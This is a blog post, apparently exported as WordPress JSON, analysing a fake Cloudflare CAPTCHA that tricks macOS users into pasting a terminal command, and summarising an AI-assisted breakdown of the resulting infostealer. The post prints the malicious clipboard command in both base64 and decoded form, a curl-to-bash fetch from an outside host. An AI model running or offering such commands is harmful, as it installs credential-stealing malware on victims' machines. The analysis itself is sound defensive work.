{"id":25003,"date":"2026-11-25T23:27:04","date_gmt":"2026-11-26T04:27:04","guid":{"rendered":"https:\/\/nuxx.net\/blog\/?p=25003"},"modified":"2026-11-25T23:42:58","modified_gmt":"2026-11-26T04:42:58","slug":"ai-malware-analysis","status":"publish","type":"post","link":"https:\/\/nuxx.net\/blog\/2026\/11\/25\/ai-malware-analysis\/","title":{"rendered":"&#8220;AI&#8221; Malware Analysis"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Using &#8220;AI&#8221; tools for malware analysis isn&#8217;t really anything new, but it&#8217;s not something I&#8217;d played with before&#8230; until now.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This afternoon, after getting back from a bike ride and looking up info on houses in Birmingham, I clicked a link to <code>mansionfreak[.]com<\/code>. When the page loaded I got a really weird popup:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><a href=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-4.46.13-PM.png\"><img loading=\"lazy\" decoding=\"async\" width=\"842\" height=\"962\" src=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-4.46.13-PM.png\" alt=\"\" class=\"wp-image-25004\" srcset=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-4.46.13-PM.png 842w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-4.46.13-PM-263x300.png 263w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-4.46.13-PM-768x877.png 768w\" sizes=\"auto, (max-width: 842px) 100vw, 842px\" \/><\/a><figcaption class=\"wp-element-caption\">Malware asking to paste something in Terminal.<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">This caught my eye because it wasn&#8217;t really a Cloudflare CAPTCHA; it wanted me to run <em>Terminal.app<\/em> and paste whatever was in my clipboard. So what was there in the clipboard?<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>: \"Cloudflare Human Verification\" &amp;&amp; eval $(echo \"Y3VybCAtc0wgaHR0cHM6Ly9jZi1jYXB0Y2hhLnByby9jZi1jaGFsbGVuZ2V8YmFzaA==\" | base64 -d)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Uh oh&#8230;. That&#8217;s not good. Well, let&#8217;s see what we can find by just <a href=\"https:\/\/en.wikipedia.org\/wiki\/Base64\">base64<\/a> decoding that string:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>c0nsumer@mini ~ % echo \"Y3VybCAtc0wgaHR0cHM6Ly9jZi1jYXB0Y2hhLnByby9jZi1jaGFsbGVuZ2V8YmFzaA==\" | base64 -d\ncurl -sL https:\/\/cf-captcha.pro\/cf-challenge|bash%                                               c0nsumer@mini ~ %<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Okay, so it grabs a file and runs it through <a href=\"https:\/\/en.wikipedia.org\/wiki\/Bash_(Unix_shell)\">bash<\/a>, so this is probably trying to install something while giving the user something to paste in the box above&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Yep, it downloads stuff from <code>https:\/\/devicecore.pro\/uz72w8\/{OBSCURED}<\/code> and then pipes it into <code>osascript<\/code>, macOS&#8217; script interpreter. All the while it shows the user something like this to give them a code to paste into the website as verification:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><a href=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-5.38.03-PM.png\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"913\" src=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-5.38.03-PM-1024x913.png\" alt=\"\" class=\"wp-image-25005\" srcset=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-5.38.03-PM-1024x913.png 1024w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-5.38.03-PM-300x267.png 300w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-5.38.03-PM-768x684.png 768w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-5.38.03-PM.png 1324w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Malware shell script pretending to be a Cloudflare verification.<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">(It&#8217;s got some shiny colors and animation as well as showing the first part then the second. I removed the screen clearing and download\/run part so I could get a screenshot of it all.)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I grabbed a copy of the file being downloaded and seeing a bunch of obfuscated JavaScript, that&#8217;s where it got beyond what I know how to do. But hey, I&#8217;ve got a nice Claude subscription with Fable access, and I hadn&#8217;t yet used it for malware analysis, so here we go!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Yes, this is where this post turns from &#8220;look at what I did&#8221; to &#8220;look at what the clanker did&#8221;, but it&#8217;s impressive how much these tools can get done, and that&#8217;s what I wanted to use this post to show. So, what did it find? Had this become installed, it does the following (this part copied and pasted from the writeup):<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Steals the macOS login password and validates it with PAM.<\/li>\n\n\n\n<li>Tricks the user into granting it Full Disk Access.<\/li>\n\n\n\n<li>Collects cookies, saved logins, history, and keychain storage keys from 14 browsers.<\/li>\n\n\n\n<li>Reads iMessage and WhatsApp message history.<\/li>\n\n\n\n<li>Replaces cryptocurrency addresses on the clipboard.<\/li>\n\n\n\n<li>Accepts remote commands, including shell execution, file transfer, dylib loading, and self-update.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Or, in short, the ability to monitor pretty much anything the victim does on their computer.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <a href=\"https:\/\/nuxx.net\/files\/mansionfreak_fake-CAPTCHA-fable-analysis.md\">whole writeup<\/a> is worth reading. It&#8217;s impressive what a few dozen back-and-forths to focus the agent on where to dig (and where not to) as it ran <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ghidra\">Ghidra<\/a> and a handful of other tools to figure out most of what the binary does: <a href=\"https:\/\/nuxx.net\/files\/mansionfreak_fake-CAPTCHA-fable-analysis.md\"><code>mansionfreak_fake-CAPTCHA-fable-analysis.md<\/code><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This stuff is&#8230; powerful. Now think about how similar tools could be used for developing things like this. It&#8217;s going to be a bumpy road ahead.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Interestingly, as I started asking about how it manages to install a background item without the user seeing a notification it began writing, the agent cited <a href=\"https:\/\/www.youtube.com\/watch?v=GOoqEVhvNw8\">Patrick Wardel&#8217;s talk from DEF CON 31 (2023)<\/a>, which discusses this same technique. It then began expanding on how this program takes a bit broader approach, how it could be tested, and then the session was shut down and handed to Opus 4.8, which also shut it down. I guess we were getting too close to actual vulnerability testing&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I&#8217;d read about this happening, but it&#8217;s the first time it happened to me. Oh well. The research showing that it was bad is still quite useful and good enough to entertain me this evening.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><a href=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-11.19.20-PM-scaled.png\"><img loading=\"lazy\" decoding=\"async\" width=\"874\" height=\"1024\" src=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-11.19.20-PM-874x1024.png\" alt=\"\" class=\"wp-image-25006\" srcset=\"https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-11.19.20-PM-874x1024.png 874w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-11.19.20-PM-256x300.png 256w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-11.19.20-PM-768x900.png 768w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-11.19.20-PM-1310x1536.png 1310w, https:\/\/nuxx.net\/blog\/wp-content\/uploads\/2026\/11\/Screenshot-2026-11-25-at-11.19.20-PM-1747x2048.png 1747w\" sizes=\"auto, (max-width: 874px) 100vw, 874px\" \/><\/a><figcaption class=\"wp-element-caption\">Getting shut down by Claude after it began flirting with exploit research.<\/figcaption><\/figure>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>Using &#8220;AI&#8221; tools for malware analysis isn&#8217;t really anything new, but it&#8217;s not something I&#8217;d played with before&#8230; until now. This afternoon, after getting back from a bike ride and looking up info on houses in Birmingham, I clicked a link to mansionfreak[.]com. When the page loaded I got a really weird popup: This caught\u2026<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-25003","post","type-post","status-publish","format-standard","hentry","category-computers"],"_links":{"self":[{"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/posts\/25003","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/comments?post=25003"}],"version-history":[{"count":5,"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/posts\/25003\/revisions"}],"predecessor-version":[{"id":25011,"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/posts\/25003\/revisions\/25011"}],"wp:attachment":[{"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/media?parent=25003"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/categories?post=25003"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nuxx.net\/blog\/wp-json\/wp\/v2\/tags?post=25003"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}